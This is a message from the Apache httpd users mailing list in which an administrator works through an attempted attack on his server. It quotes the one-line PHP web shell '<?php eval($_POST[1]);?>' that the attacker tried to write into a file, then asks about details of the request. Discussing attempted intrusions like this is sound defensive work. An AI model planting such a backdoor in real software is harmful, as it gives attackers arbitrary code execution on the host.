> OK. I think i understand most of it. > First the attacker sets some values appropriate for him. Then he tries to > create > a file webconfig.txt.php and to write > <?php eval($_POST[1]);?> in it. > Fortunately wwwrun can't write in /sr/www ... , following > http://httpd.apache.org/docs/2.2/misc/security_tips.html years ago. > If he could create the file, then he is able to sent arbitrary stuff to it > which > is executed by eval. > > Some things are still unclear for me: > > What is the purpose of the two echos ? > Why has the request status code 200 ? > What is the purpose of the 1 direct behind the question mark ? > What is the 1 in the array $_POST ? Arrays start with index 0, i think (i'm > not > a php developer). >
The @ in front of the function calls silence the errors: http://stackoverflow.com/questions/27645422/what-difference-does-usage-of-symbol-with-ini-set-built-in-function-makes-in Bernd Helmholtz Zentrum Muenchen Deutsches Forschungszentrum fuer Gesundheit und Umwelt (GmbH) Ingolstaedter Landstr. 1 85764 Neuherberg www.helmholtz-muenchen.de Aufsichtsratsvorsitzende: MinDir'in Baerbel Brumme-Bothe Geschaeftsfuehrer: Prof. Dr. Guenther Wess, Heinrich Bassler, Dr. Alfons Enhsen Registergericht: Amtsgericht Muenchen HRB 6466 USt-IdNr: DE 129521671 --------------------------------------------------------------------- To unsubscribe, e-mail: users-unsubscr...@httpd.apache.org For additional commands, e-mail: users-h...@httpd.apache.org
